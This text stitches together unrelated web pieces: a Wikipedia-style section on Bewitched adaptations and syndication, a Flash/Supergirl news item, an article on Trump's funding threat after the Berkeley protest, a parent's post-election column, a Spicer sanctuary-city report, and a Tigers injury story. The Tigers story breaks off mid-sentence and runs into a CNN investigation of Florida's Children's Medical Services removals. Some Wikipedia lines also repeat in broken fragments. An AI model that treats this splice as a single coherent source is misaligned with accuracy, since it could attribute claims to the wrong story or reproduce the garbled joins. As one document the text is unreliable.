Bewitched inspired a 2005 film starring Nicole Kidman and Will Ferrell. The film, departing from the show's family-oriented tone, is not a remake but a re-imagining of the sitcom, with the action focused on arrogant, failing Hollywood actor Jack Wyatt (Ferrell) who is offered a career comeback playing Darrin in a remake of Bewitched. The role is contingent upon him finding the perfect woman to play Samantha. He chooses an unknown named Isabel Bigelow (Kidman), who is an actual witch. The film was written, directed, and produced by Nora Ephron, and was poorly received by most critics and was a financial disappointment. It earned $22 million less than the production cost domestically. However it earned an additional $68 million internationally. The New York Times called the film "an unmitigated disaster."[15]
Comic adaptations [ edit ]
Dell Comics adapted the series into a comic book series in 1964. The art work was provided by Henry Scarpelli.[16]
In 1966, the series was adapted as a strip in Lady Penelope, beginning from issue 12 and lasting until the comic's demise in 1969.[17]
Television remakes [ edit ]
Argentina: A remake called Hechizada, produced by Telefé, aired in early 2007. It starred Florencia Peña as Samantha, Gustavo Garzón as her husband, Eduardo, and Georgina Barbarrosa as Endora. This show adapted original scripts to an Argentinian context, with local humor and a contemporary setting. The show was cancelled due to low ratings after a few weeks.
, produced by Telefé, aired in early 2007. It starred Florencia Peña as Samantha, Gustavo Garzón as her husband, Eduardo, and Georgina Barbarrosa as Endora. This show adapted original scripts to an Argentinian context, with local humor and a contemporary setting. The show was cancelled due to low ratings after a few weeks. Japan: TBS, a flagship station of Japan News Network, produced a remake called Okusama wa majo (奥さまは魔女, meaning "(My) Wife is a Witch"), also known as Bewitched in Tokyo. [18] Eleven episodes were broadcast on JNN stations Fridays at 10 pm, from January 16 to March 26, 2004, and a special on December 21, 2004. The main character, Arisa Matsui, was portrayed by Ryōko Yonekura. Okusama wa majo is also the Japanese title for the original American series.
(奥さまは魔女, meaning "(My) Wife is a Witch"), also known as. Eleven episodes were broadcast on JNN stations Fridays at 10 pm, from January 16 to March 26, 2004, and a special on December 21, 2004. The main character, Arisa Matsui, was portrayed by Ryōko Yonekura. is also the Japanese title for the original American series. India: In 2002, Sony Entertainment Television began airing Meri Biwi Wonderful a local adaptation of Bewitched.
a local adaptation of. Russia: In 2009, TV3 broadcast a remake entitled "Моя любимая ведьма" ("My Favorite Witch"), starring Anna Zdor as Nadia (Samantha), Ivan Grishanov, as Ivan (Darrin) and Marina Esepenko as Nadia's mother. The series is very similar to the original, with most episodes based on those from the original series. American comedy writer/producer Norm Gunzenhauser oversaw the writing and directing of the series.
United Kingdom: In 2008, the BBC made a pilot episode of a British version, with Sheridan Smith as Samantha, Tom Price as Darrin, and veteran actress Frances de la Tour as Endora.
Proposed reboots [ edit ]
In August 2011 it was reported that CBS ordered a script to be written by Marc Lawrence for a rebooted series of Bewitched.[19]
On October 22, 2014, Sony Pictures Television announced that it sold a pilot of Bewitched to NBC as a possible entry for the 2015—2016 US television season. This show would have focused on Tabitha's daughter Daphne, a single woman who despite having magical powers as her mother, grandmother, and great-grandmother, is determined not to use it to find a soul mate. The new version of the proposed series, written by Abby Kohn and Marc Silverstein, had been on the radar of several major networks, including ABC, after Sony began shopping the project to interested parties.[20]
On August 23, 2018, ABC announced that it had bought a pilot for a single camera Bewitched remake from Black-ish creator Kenya Barris. This is Barris's last new project for the network before his exclusive contract with Netflix goes into effect.[21]
Episodes [ edit ]
Episode availability [ edit ]
Syndication history [ edit ]
After completing its original run, ABC Daytime and ABC Saturday Morning continued to show the series until 1973. Bewitched has since been syndicated on many local US broadcast stations from 1973–82 and then since 1993, including Columbia TriStar Television as part of the Screen Gems Network syndication package from 1999–2001, which featured by 1999 bonus wraparound content during episode airings.
From 1973 to 1982, the entire series was syndicated by Screen Gems/Columbia Pictures. By the late '70s, many local stations skipped the black and white episodes or only ran those in the summer due to a perception that black-and-white shows usually had less appeal than shows filmed in color. From 1981 to about 1991, only the color episodes were syndicated in barter syndication by DFS Program Exchange. The first two seasons, which were in black and white were not included and Columbia retained the rights to those. Beginning in 1989, Nick at Nite began airing only the black-and-white episodes, which were originally unedited back then. The edited ones continued in barter syndication until 1992. Columbia syndicated the entire series beginning in 1991. The remaining six color seasons were added to Nick at Nite's lineup in March 1998 in a week-long Dueling Darrins Marathon. Seasons 1–2 were later colorized and made available for syndication and eventually DVD sales. Cable television channel WTBS carried seasons 3–8 throughout the 1980s and 1990s from DFS on a barter basis like most local stations that carried the show did.
The Hallmark Channel aired the show from 2001 to 2003; TV Land then aired the show from 2003 to 2006, and it returned in March 2010,[24] but left the schedule in 2012. In October 2008, the show began to air on WGN America, and in October 2012 on Logo, limited to the middle seasons only. In Australia, this series aired on the Nine Network's digital channel GO! later it moved to the Seven Network's digital channels 7TWO later 7flix, Russia-based channel Domashny aired the show from 2008 to 2010. MeTV aired the show in conjunction with I Dream of Jeannie from December 31, 2012 to September 1, 2013.[25] Cable and satellite network FETV also airs the show together with I Dream of Jeannie. The show now airs on Antenna TV.
The show has been distributed by Columbia Pictures Television (1974–1982, 1988 (black and white ones only until 1990)-1996), DFS/The Program Exchange (1980–1991, 2010–2014), Columbia TriStar Television (1996–2002), and Sony Pictures Television (2002–present).
Internet [ edit ]
Selected episodes may be viewed on iTunes, YouTube, Internet Movie Database, Hulu, The Minisode Network, Crackle, and Amazon.com. The show also airs on free streaming TV station Pluto TV.[26]
Home media [ edit ]
Beginning in 2005, Sony Pictures Home Entertainment released all eight seasons of Bewitched. In regions 1 and 4, seasons 1 and 2 were each released in two versions—one as originally broadcast in black-and-white, and one colorized. The complete series set only contains the colorized versions of Seasons 1–2. Only the colorized editions were released in regions 2 and 4.
On August 27, 2013, it was announced that Mill Creek Entertainment had acquired the rights to various television series from the Sony Pictures library including Bewitched.[27] They have subsequently re-released the first six seasons, with seasons 1 & 2 available only in their black and white versions.[28][29][30]
On October 6, 2015, Mill Creek Entertainment re-released Bewitched- The Complete Series on DVD in Region 1.[31] Special features were stripped from the release.
See also [ edit ]
Notes [ edit ]
a b A full list of directors and writers can be seen at this link
References [ edit ]
Sources [ edit ]In early 2017, The Flash and Supergirl will team up for a musical episode -- and The Flash's executive producers won't say no to the idea of adding a dance sequence to their half.
"[I]f we can get a dance sequence in there on top of it, I would love to do that. Listening to Joe as the lounge singer, singing, and to see Grant and he was karaoke-ing first season, and even watching Danielle, not being able to sing... I'm just really excited, to be honest, to see how it all comes together," showrunner Todd Helbing told IGN. "I know Greg [Berlanti] is very close to this story. He's been thinking about it -- I don't know how long, probably not just yesterday, you know what I'm saying? He's been percolating. Seeing Jesse sing, seeing Grant sing, it's just one of those -- like whoa, we can totally pull this off. I don't know why we wouldn't do this. Let's go for it. This year in general we're really swinging for the fences."
They're doing so with some major villain additions, including Mirror Master and Dr. Alchemy -- as well as with big casting like Harry Potter standout Tom Felton as Barry's rival at work. And, yes, they're doing it with not one but two big crossover events: besides the musical, set to take place in the thirteenth episode of the two series, The Flash will be part of a four-part, four-show crossover in December 2016 with Supergirl, Arrow, and DC's Legends of Tomorrow. The Flash Season 3 premieres Tuesday, October 4 at 8 p.m. ET/PT on The CW. Supergirl premieres on Monday, October 10 at 8 p.m. ET/PT on The CW.
---Trump threatens UC Berkeley funding cut after protest against fascistic provocateur
By Gabriel Black
3 February 2017
President Donald Trump threatened to revoke federal funding to the University of California at Berkeley, one of the top public research institutions in the United States, following a protest Wednesday night by thousands of students against Milo Yiannopoulos, the extreme right-wing editor of Breitbart News. Yiannopoulos had been invited by the campus Republicans to speak at the university.
The protest was peaceful, but a small, well-organized group of anarchists assaulted Trump supporters and vandalized stores and other property. The university police canceled Yiannopoulos’s appearance and ordered a lockdown of the campus, with students told to “shelter in place.”
The gratuitous violence carried out by the black-hooded ANTIFA group was a gift to the Trump administration, which seized on its actions to smear the students who demonstrated to express opposition to the anti-Muslim and anti-immigrant racism and general contempt for democratic rights pushed by Breitbart News and Yiannopoulos. The former head of Breitbart, a media platform for the fascistic “alt-right,” is Stephen Bannon, Trump’s chief White House adviser.
All three early morning network news programs led Thursday with the violence in Berkeley in reports designed to discredit the protesters and promote Yiannopoulos and his supporters as defenders of free speech and academic freedom. The viciously anti-Muslim Breitbart editor is touring mostly liberal US campuses in a well-organized provocation aimed precisely at inciting violent incidents that can be used as a pretext for the suppression of democratic and left-wing views.
Several other stops on Yiannopoulos’s tour have been canceled. At his speech at the University of Washington, one of his supporters shot and seriously injured a protester.
His speech Tuesday night at California Polytechnic University was a diatribe against the right to abortion. Yiannopoulos presented the world as a battle between Christian “Western civilization” and Islam. In another speech last year he said, “Islam, not radical Islam, is the problem.” Muslim immigrants, he added, “bring their delicacies with them: pork chops, yoghurt and gang-rape.”
Writing at 2 am Eastern Standard Time on Thursday, Trump tweeted, “If UC Berkeley does not allow free speech and practices violence on innocent people with a different point of view—NO FEDERAL FUNDS?”
Berkeley research relies on $370 million in annual funding from the federal government, a little more than half of its yearly research budget. The University of California system as a whole receives $1.6 billion in federal aid for students.
Protests on the campus began at around 5:30 pm on Wednesday, with some 2,000 students participating. Shortly after the protesters assembled, a section of anarchists began to shoot fireworks at police and event organizers and assault the few Trump supporters in the area. They attempted to break into the building where the event was scheduled by smashing the windows. The university police canceled the event and evacuated Yiannopoulos.
The police then fired tear gas, rubber bullets and noise grenades into the crowd. Some of the so-called “black bloc” protesters tore down a mobile floodlight and set its generator on fire.
After the event had been canceled, a smaller section of the protest took to the streets and marched around Berkeley. One teenager, not a student at UC Berkeley, was arrested. Two others were arrested earlier in the afternoon for allegedly assaulting a Trump supporter on campus.
Anarchist groups such as ANTIFA are politically reactionary. They represent demoralized sections of the middle class that are hostile to any struggle to politically educate and mobilize the working class and youth against the capitalist system. Their tactics, gratuitous violence and destruction of property, flow from and reflect their bankrupt politics.
Undercover police and paid provocateurs would act no differently at a mass demonstration than ANTIFA did Wednesday evening in Berkeley. In fact, such organizations are, by dint of their politics and the social forces they attract, magnets for police infiltration. There can be little doubt that significant numbers of the hooded anarchists who rioted in Berkeley were police agents or informants.
Please enable JavaScript to view the comments powered by Disqus.Editor’s Note: The presidential victory of Republican Donald Trump, an upset that surprised the pundits, had many parents openly fretting online about their children’s future this morning. Guest columnist Bill Peebles was one of them, and he offers this insight and strategy.
My 11-year-old sons will be home from school soon. We discussed the presidential election this morning. They seemed a little stunned, but I was glad to see they weren’t frightened. They may come home that way, though.
I imagine different scenarios. What I might say to a kid who asks if everything will be OK; who asks if a president can really deport people or ban a religion? What’ll I say to the other when he asks if Mom will still have a job, or if we are going to have to move somewhere?
I will answer them gracefully, I will say important things like, “Your life shines brighter than all of this. Decency, courage, honor, truth, love never go away, they are steadfast. Things will change, a darkness may descend, but the light of hope cannot be extinguished.”
We will hug in the driveway. I will weep for and with them. I will lift their quivering chins and look them in the eyes and tell them they are safe and cherished. I will apologize for my naivete. I will choke back a sob as I tell them I was wrong, very wrong.
I will watch as they throw a backpack down in disgust at the injustice of it all. I will tell them I understand, that injustice cracks hearts and weighs heavy on the soul. I will tell them to stick up for themselves and advocate for others. I will tell them hope is never lost.
Because no matter what side of this whole thing you are on, you can do this: Volunteer. Find a place you can help and call them, go there. This new administration is going to change things, and it may add more misery to millions of lives.
You can donate food or money, support LGBT causes, make sure children are safe and fed, walk a friend home after dark, embrace the homeless, advocate for others. One thing, even one little thing, could help. Helping others is just that, helping others, but, you see, you are an “other.” You need to give that frightened man, that widowed mother, that shivering child, your warm hands, for they are you. Fuck that “there but for the grace of God go I.” No, it is more like “There goes I.” Shining hope into the broken corners of society shows you your own light.
Do the important things — love, give hope, lift others. Let this not be the end of decency. Let this not be the end of honor. Let this not be the end of courtesy. It’s up to us now, let us not be afraid, let our light shine.
Never relinquish hope.
+ + +
The boys came home a few minutes ago. I wait in the driveway as I always do, the bigger boy tosses me his backpack as he often does. The other boy is quiet, as he usually is.
“Hey, Dad, I need to ask you something …”
Here we go, I’m ready. I steel myself, and wait for the scene I practiced all afternoon to begin.
“… what’s for dinner?”
What?
“Oh, and Dad.”
Here it comes.
“I think we are going to start basketball practice next week, the coach’s son is in math with me and he said something about it.”
And they walk into the garage and on into the house.
You see, they didn’t lose hope. They can’t. They are hope. To them it is dinner and practices and friends and difficult math homework and books. It is the good yet to come. They are not innocent and selfish, I don’t mean to say that. No. They are confident and sure in that good yet to come. And, isn’t that hope at its purest? They can’t be distracted away from hope, it is designed into them.
I’ve come a long way from the volunteering thing I mentioned.
Or have I?
The truth is, I am the trembling boy in the driveway, just as sure as I am the homeless, the forgotten, the disenfranchised and broken who have and will need my, your hope.
Remember, we are all each others hope and that hope has a home in the heart. Let it shine. Do not place it under the bushels of fear, cynicism or despair. Let it shine bright in you, from you, aim it toward the others, particularly the children, and see theirs lighting you as well.
About the author
Bill Peebles left a 30-year career in the restaurant business to become a stay-at-home dad to twin boys. He writes a blog, I Hope I Win a Toaster, that makes little sense. He coaches sometimes, volunteers at the schools, plays guitar, and is a damn good homemaker. He believes in hope, dreams, and love … but not computers.A White House spokesman on Friday renewed the administration's warning that sanctuary cities such as Chicago could lose millions of dollars in federal law-enforcement grants, saying many people who are here illegally are committing crimes and are gang members.
Sean Spicer also implied that officials in sanctuary cities such as Chicago have no business expecting more money for law enforcement, since those cities are "allowing people to come into the country who are breaking the law, who in many cases are committing crimes."
Spicer's comments came during the daily press briefing at the White House.
The president finds it "unacceptable" that some localities "have prioritized a political agenda over the safety of their people by flouting our nation's immigrations laws, becoming so-called sanctuary cities," Spicer said. "The failure to follow federal law can have tragic consequences for all of our citizens in all of our country."
Spicer called it "particularly concerning" in places such as Chicago and Philadelphia hit by increased violence.
"Immigrants, both legal and illegal, are not safe when criminals who have committed egregious acts are free to roam the streets," he said.
A reporter for WBBM-Ch. 2 in Chicago asked Spicer if Trump would cut off the funds even though it would hamper Chicago police in their fight against street violence. The reporter noted president has repeatedly highlighted the city's crime problem.
"I think it would be interesting to want to send more money to a city that is allowing people to come into the country who are breaking the law, who in many cases are committing crimes, (members) of gangs," Spicer responded.
"You can't be a sanctuary city and at the same time … express concern about law enforcement or ask for more money, when probably a number of the funds that you're using in the first place are going to law enforcement to handle the situation that you've created for yourself."
In the fall of 2011, the Cook County Board approved a “sanctuary ordinance” that limits ICE’s ability to collect and deport people living in the U.S. illegally. In the fall of 2011, the Cook County Board approved a “sanctuary ordinance” that limits ICE’s ability to collect and deport people living in the U.S. illegally. SEE MORE VIDEOS
"We shouldn't be using American tax dollars to fund cities and counties … that are seeking to allow people who are not legally in this country, who potentially could do us harm, to get funding," Spicer said.
The WBBM reporter then asked whether Trump was more concerned with deporting illegal immigrants than putting shooters and killers in jail.
Spicer said no. "If you have people who are in this country illegally that are part of a gang … they're committing a threat to public safety or committing the crime, then funding that activity and allowing that to fester is in itself a problem," he said.
"And so, by not rooting that out in the first place is allowing the problem to continue, and not exactly showing an attempt to solve it in the first place."
U.S. Attorney General Jeff Sessions said Monday that the Justice Department planned to award $4.1 billion in grants this year through its Office of Justice Programs and the Community Oriented Policing Services program, but sanctuary cities risked having the funds taken away or denied.
A Justice Department spokesman, asked Friday how much the Chicago Police Department received in such funding, did not provide a response.
kskiba@tribpub.com
Twitter @KatherineSkibaLAKELAND, Fla. -- Detroit Tigers DH Victor Martinez left Monday's game against the New York Mets with a mild left hamstring strain and is expected to miss the next several games.
Martinez suffered the injury after rounding first base on a fifth-inning single, then left for a pinch runner.
"It kind of grabbed me a little bit," he said after leaving the Tigers' 9-2 win over the Mets. "That's why I stopped."
Martinez said he was "just trying to push to make it to second, and you just feel it a little bit. So just [to] make sure, I'd better stop than keep going."
Following the game, Tigers manager Brad Ausmus said he was not overly concerned about Martinez's injury.
"I was concerned when it first happened because I thought it was his knee," Ausmus said. "But when I went out there, he said it was his hamstring. So that was a big sense of relief right there |
answered.
"I played no role in the decision-making process related to the use of the tool for the Children's Medical Services program," Armstrong wrote in an email to CNN.
Brosco said he told the Department of Health that in his opinion, a child should not be kicked off CMS based on a parent's answer to the question about the child's limitations.
"I gave them my feedback, and they said, 'thank you for your work,' " Brosco said.
In July, Brosco was named the Florida Department of Health's deputy secretary for CMS.
Christmas shopping at the Florida Mall
Despite the lack of support from the very experts they'd consulted, Florida health officials forged ahead with using the phone survey to disqualify children from CMS.
They had a schedule to stick to.
In November 2014, state officials set out to "go live" with the phone survey in six months, according to a timeline developed by the state and obtained by CNN under the Freedom of Information Act.
Before implementing the surveys, the officials gave themselves 21 days to "solicit feedback from the field" about the questions they would ask the parents.
One of the first things they did was to ask one of the state's most experienced pediatricians to leave a meeting.
It was St. Petery, who at the time was the executive vice president of the Florida chapter of the American Academy of Pediatrics and who has an encyclopedic knowledge of Medicaid rules and regulations. He'd served as interim director of CMS for six months during the mid-1970s.
He'd also been a thorn in the side of the state Department of Health for years. He'd been instrumental in a lawsuit that accused the state of failing to reimburse doctors properly in the Medicaid program and to ensure that children receive adequate care.
His side eventually won that lawsuit, and the American Academy of Pediatrics gave him a prestigious award for being "a tireless advocate for children's health and well-being."
Dr. Louis St. Petery, a pediatric cardiologist and frequent critic of Florida's health policy, was asked to leave a state meeting where Children's Medical Services screening was discussed.
On December 13, 2014, St. Petery showed up at the Department of Health meeting. It was for the regional medical directors of CMS, the group of pediatricians who help run the program. St. Petery wasn't one of the directors, but he'd been attending their meetings for many years in his role with the Florida chapter of the American Academy of Pediatrics.
St. Petery said that just before the meeting started, Tschetter, then the department's chief operating officer, approached him.
"She said, didn't I want to go Christmas shopping at the Florida Mall?" St. Petery remembered. The mall was adjacent to the conference center in Orlando where the meeting was taking place.
St. Petery said he told Tschetter that he hates shopping, especially around the holidays, and wanted to stay at the meeting.
"I protested. I asked her, is this meeting not in the sunshine?" he said, referring to Florida's Sunshine Law, which gives the public the right to access most government meetings.
"After she told me for the third time to leave, I decided not to create a scene," he said.
St. Petery got up and left.
Other doctors watched the action, stunned.
"We were all kind of shaking," said Dr. Barbara Rumberger, one of the CMS regional medical directors who attended the meeting.
After St. Petery departed, health officials explained that they would start screening children off of CMS. Their justification: a new analysis showing that half the children on CMS might not belong there.
There are no minutes for this meeting, according to Department of Health officials, but a year later, Tschetter presented similar data to the Florida Legislature.
A 'totally inaccurate' analysis
By Florida law, a child can be in CMS only if he or she has a "chronic and serious" condition requiring health care "of a type or amount beyond that which is generally required by children."
The analysis Tschetter presented showed that about half of the children on CMS had lower than average risk scores, an assessment of how much a patient uses health care services.
Tschetter called these results "surprising." By legislative mandate, children on CMS are supposed to have health needs greater those of other children.
"The analysis made clear, certainly to the department, that we were not meeting legislative direction: (that) the children in the plan have both chronic and serious health care conditions," Tschetter told legislators. "It was clear to the department that something had to be done, because complying with legislative direction is certainly not optional."
But an expert who developed the software Florida used to make that data analysis said the state did its calculations incorrectly.
"It was clear to the department that something had to be done." Jennifer Tschetter, former chief operating officer, Florida Department of Health
"It's totally inaccurate," said Todd Gilmer, co-developer of the Chronic Illness and Disability Payment System and chief of the division of health policy at the University of California, San Diego.
Gilmer's software, which is used by dozens of state Medicaid programs, tracks patients' diagnoses and their prescription drug use to calculate risk scores for each individual.
After viewing Florida officials' analysis of the data, he said they made two errors when they calculated that half the children on CMS had below-average risk scores.
First, he explained that his software relies on doctors' diagnoses, and Florida failed to account for the fact that doctors frequently don't document a child's full diagnosis in the medical record. For example, if a quadriplegic child goes to the doctor because of bedsores, doctors often write down the reason the child came in -- the bedsores -- instead of the more serious diagnosis of quadriplegia.
Second, he said, Florida did the wrong calculation for disabled children, who represent 40% of the patients on CMS, according to Mallory McManus, a spokeswoman for Florida's Agency for Health Care Administration.
He said his software compares disabled children with each other. Even the ones who fall in the lower half of the risk-score spectrum still have serious and chronic illnesses, he said, such as HIV or heart failure.
He said that what Florida did was akin to assembling a group of people who are over 7 feet tall and calling the bottom half of that group short.
Gilmer called Florida's analysis "kind of bizarre" and said he was disappointed to see his software "misapplied" by the Florida Department of Health.
Spokeswomen for the Florida Department of Health and the Agency for Health Care Administration did not respond directly to Gilmer's criticism.
Gambineri, the health department spokeswoman, said that the department no longer uses the screening method that it used in 2015 and that parents can ask to have their children re-screened at any time.
"Our mission is now and has always been to provide the best health care possible to the populations that we serve," McManus wrote in an email.
Pediatrician: 'We were just irrelevant'
Pediatricians say that by the time the Department of Health meeting was held at the Orlando conference center at the end of 2014, they felt like Florida was dead-set on screening a large number of children off CMS.
They said state officials didn't listen to their concerns, even though they were stated repeatedly, both in person and in writing.
At the meeting, health officials asked the pediatricians to tell them what was on their minds, according to Rumberger, one of the doctors who was there.
She said she and her colleagues brought up concerns that children might be taken off CMS inappropriately.
The Department of Health official wrote down what the doctors said on pieces of paper taped to the wall, Rumberger said. The official then told the doctors that these were issues to discuss at another time.
"She said, 'We're going to park these. We're putting these ideas in the parking lot for some time, and we're not talking about these things today,' " Rumberger remembered, adding that she was speaking on behalf of herself and not in her role as a CMS regional medical director.
"We were all amazed at what they did," she added.
A few months later, the state held a series of telephone conference calls with the same CMS regional medical directors.
"They didn't ask us 'What do you think?' or 'Do you have any suggestions?' " Rumberger said. "It was just 'This is how we're going to do it.' It was clear they didn't want to have a free discussion."
"It appears to be a very conscious decision to not get input and not receive any dissension," said Goldhagen, the professor of pediatrics at the University of Florida. "We were just irrelevant."
Dr. Rex Northup, another CMS regional medical director and associate professor of pediatrics at the University of Florida College of Medicine, agrees.
"It was like, 'When we want your opinion on a given topic, we'll let you know, and we'll provide that opinion to you,' " Northup said, adding that he speaks for himself and not the university or any other institution.
Several doctors present on those conference calls said they voiced their concerns anyway.
There's no record of these concerns. According to the Florida Department of Health, no minutes were taken of these phone conferences.
CNN asked the Florida Department of Health about the meeting where St. Petery was asked to leave and about doctors' complaints that the state steamrolled through a screening tool that would harm sick children.
"When CMS began the process of implementing a new screening tool in 2014, the department may have underestimated the need for stakeholder input and the time required to obtain feedback and ensure our community was comfortable with the mechanisms for determining clinical eligibility," responded Gambineri, the Department of Health spokeswoman.
She added that the department has "engaged our stakeholders using several methods" including public meetings to solicit input from patients, parents and providers and "remains open to feedback and input in order to best serve children with serious and chronic medical conditions."
True to its schedule, the state started screening children off CMS in May 2015.
Florida pediatricians repeatedly told the state that it was hurting sick, vulnerable children.
In August 2015, Goldhagen, Rumberger, Northup and 11 other doctors with positions at CMS wrote a letter to a Department of Health official saying the screening process was "flawed" and was removing too many children.
The doctors did not receive a response, Goldhagen said.
Two months later, St. Petery wrote to Department of Health officials, sharply criticizing the use of the screening tool.
He said he never received a response, either.
Dr. Elizabeth Curry, examining Micah Creamer, says she wrote to the Florida Agency for Health Care Administration, expressing her concerns about patients being kicked off Children's Medical Services, but the agency didn't respond.
Curry, the Port Saint Joe pediatrician who practices in a rural area of the Florida Panhandle, said she also complained to the state's Agency for Health Care Administration about children being kicked off CMS, along with other issues affecting children on Medicaid.
She said the agency worked with her on some of the other issues but didn't respond to her complaints about the children being taken off CMS.
"Our Agency has been in contact with the provider and is working with the health plan to resolve what issues might be resolved," wrote McManus, the agency spokeswoman.
Curry said she took her complaints even higher.
"I even called the governor's office once and left a message," she said. "I admit that I finally gave up. I'm just trying to take care of my patients."
Pediatricians interviewed for this story said they felt pressure from the state not to speak to the media about the removal of the children from CMS.
On November 15, 2016, Dr. John Curran, then the Florida Department of Health's deputy secretary for CMS, said on a conference call that a CNN reporter was working on this story, according to several doctors on the call.
That evening, a department official wrote an email to the doctors who'd been on the call. It advised these pediatricians that prior to responding to media inquiries, they should contact the department's communications director.
"I'm going to be so fired for saying all these things," Rumberger said.
But she and other pediatricians say they're speaking up because they feel that the Department of Health hurt children because they didn't listen to their concerns.
They say it could be because pediatricians don't tend to have millions of dollars to donate to political campaigns.
But insurance companies do.
'Like a plot in a Carl Hiaasen novel'
All of this -- the telephone survey, the question about limitations, the analysis that's been called flawed -- leaves many Florida parents and pediatricians suspicious about why the state wanted to take 13,074 children off CMS and why it worked so hard and so quickly to do it.
Switching the children from CMS to the other Medicaid plans didn't save taxpayers money, according to McManus, the agency spokeswoman.
The doctors wonder, then, whether the inspiration for the change was political: to send taxpayers' dollars to generous donors to the Florida Republican Party.
CMS is a public program; it's not owned by a private insurance company.
When the children were taken off CMS, they were switched to 11 insurance plans that are owned by private companies. The parent companies of nine of those 11 plans donated a total of more than $8 million to Florida Republican Party committees in the five years before the children were switched.
"I knew it had to be about money," said Wright, the pediatric endocrinologist in Tallahassee who said that dozens of her patients had their insurance switched. "This sounds very believable for Florida, and I'm from Florida."
"When this was all unfolding, I told my office manager, 'I feel like we're in a plot in a Carl Hiaasen novel,' " she added, referring to the Miami Herald columnist who writes about politics and corruption in Florida.
Dr. Nancy Wright, a pediatric endocrinologist, says she thinks the state's motivation for taking patients off Children's Medical Services "appears to be about money.... It's clearly not medical."
The companies that own the nine insurance plans contributed $8.6 million to Florida Republican Party committees from 2010 to 2014, according to an analysis done for CNN by the National Institute on Money in State Politics, a nonpartisan nonprofit group.
Here's a breakdown of how much money each insurance company with a Medicaid contract contributed to Florida Republican Party committees from 2010 to 2014:
$5.9 million from Blue Cross and Blue Shield of Florida. Florida True Health is an affiliate of Blue Cross and Blue Shield of Florida. At the time the money was contributed, Florida True Health owned 40% of Prestige Health Choice, which has a Medicaid contract with the state of Florida. In 2015, Florida True Health purchased Prestige outright.
Contributions between $232,500 and $668,082 from each of six insurance plans and their parent companies that have contracts with Florida Medicaid: Amerigroup, UnitedHealthcare of Florida, Humana, Sunshine State Health Plan, Aetna and WellCare. WellCare's Florida Medicaid policy is marketed under the name Staywell.
$90,000 from Simply Health, which owns a Medicaid plan called Better Health.
$849,433 from Miguel Fernandez, the former chairman of Simply Health. In addition, Fernandez donated about $1.3 million to Scott's Let's Get to Work political action committee from 2010 to 2014.
Insurance companies' outsize contributions to Florida Republicans
Nearly all states pay insurance companies to insure some of their Medicaid patients; this is not unique to Florida.
And insurance companies often contribute money to state political parties. That's not unique to Florida, either.
What is unusual is the size of the contributions, even for a large state.
Take UnitedHealthcare, an insurance giant with business in all 50 states. From 2010 to 2014, United contributed $442,500 to Florida Republican Party committees, according to the National Institute on Money in State Politics.
The company's next largest contribution to any other state political party was $145,000 to California Democrats -- less than half the Florida amount.
Humana, another insurance company with a national reach, gave substantially more money to Florida Republican Party committees than to any other state political party committees.
From 2010 to 2014, Humana donated $482,815 to Florida Republican Party committees. Its next largest contribution was $213,823 to Florida Democrats. The next largest contribution after that was $22,000 to the Illinois GOP, less than one-20th the size of the contribution to Florida Republicans.
Blue Cross and Blue Shield of Florida gave Florida Republican Party committees $5.9 million from 2010 to 2014 and gave Florida Democrats $1.8 million. The next largest contribution after that from any other Blue Cross and Blue Shield company in the United States was $730,696 from Blue Shield of California to Democrats in that state -- about one-eighth the size of the contribution to Florida Republicans.
Florida's payments to the insurance companies
Nearly all states pay private insurance companies monthly premiums to insure Medicaid patients. It's become big business.
The Florida Department of Health declined to say how much it paid the private insurance companies to insure the 13,074 children when they were switched out of CMS.
"If they got 13,000 new kids, (it's) that times however many dollars per member per month," St. Petery said. "I think that's a lot of money when you start talking about that many kids."
LJ Stroud sued the state of Florida to be put back on Children's Medical Services. He has now had the procedures that he needs.
These children came from CMS, a Medicaid program for sick children, and the state pays insurance companies more money to care for such children.
This is how it works, according to McManus, the spokeswoman for the Florida Agency for Health Care Administration.
Florida takes a look at all the people who've signed up with an insurance company and calculates a risk score for that group based on factors such as the age of the enrollees in the plan and their health conditions.
A plan with the lowest risk score has a "typical population" and might be paid a rate of, for example, $320 per person per month, McManus said. A plan with sicker enrollees might have a risk score that's twice as high and so would be paid $640 per person per month, she added.
The numbers can get even higher from there.
"The state will pay a pretty good rate for these children," said Agrawal, the pediatrician at Northwestern who studies health care systems for children with special medical needs.
"They could get paid thousands more per month for a child with serious medical needs," said Steve Schramm, founder and managing director of Optumas, a health care consulting group.
"The enhanced reimbursement may be 10 times what the insurance companies get for a well child," said Goldhagen, former director of Florida's Duval County Health Department.
Yasmeen Shabaneh sued Florida and was placed back on Children's Medical Services.
Sick children are, of course, also costlier for insurance companies because they need more care. But insurance plans monitor that care to manage costs.
"Plans have gotten very sophisticated in their ability to manage very sick kids, so their willingness to take very sick kids is great," said Jeff Myers, president and CEO of Medicaid Health Plans of America, an industry group representing insurance companies.
Pediatricians questioned whether such outsize political donations were an attempt to gain influence and favor with Florida's Republican administration, which orchestrated the transfer of the children out of CMS and to the private companies.
"It certainly raises a lot of suspicion and concern," said Northup, the associate professor at the University of Florida College of Medicine.
"Why would they make contributions in the hundreds of thousands and the millions to Florida Republicans? Why would they be so uniquely committed to Republicans in Florida? It gives one pause," he added. "If you follow the money, at the very least, it's worrisome."
"It's the left-hand-washing-the-right-hand kind of business," said Dr. Joseph Chiaro, who was Florida's deputy secretary of health from 2005 to 2011. "It breaks my heart."
Six Florida pediatricians gathered in Orlando to tell CNN their concerns. They practice in rural, suburban and urban areas. Some of them are Republicans, and others are Democrats.
They said they feared that big donors had influence on the state's decision-making process and that in many cases, the children suffered as a result.
"I don't see this in writing anywhere, but my impression is, this was a way for political payback at the expense of the sickest of the Medicaid children," St. Petery said.
"It just comes back to money or power. It's not about health care for the children," said Wright, the pediatric endocrinologist in Tallahassee.
"Just follow the money," said Colaizzo, who runs a rural health care clinic in Pahokee, Florida.
State leaders "don't give a damn about the kids. They don't give a damn about the families," said Dr. Marcy Howard, a pediatrician in Crystal River, Florida.
State officials and insurance companies respond
McManus, the spokeswoman for the Florida Agency for Health Care Administration, wrote in an email."The Statewide Medicaid Managed Care program was designed to provide comprehensive care to recipients through high quality health plans with a payment structure designed to ensure that plans paid an appropriate rate based on the health conditions of those enrolled in their plan."
"The program currently covers more than 2 million of Florida's children, offers the strongest provider network and access standards in program history, and provides families with a choice of high quality, nationally accredited plans so that they can choose the plan that best suits their needs, including specialty plans for those who qualify," she added.
CNN reached out to officials at all nine insurance companies. Two responded.
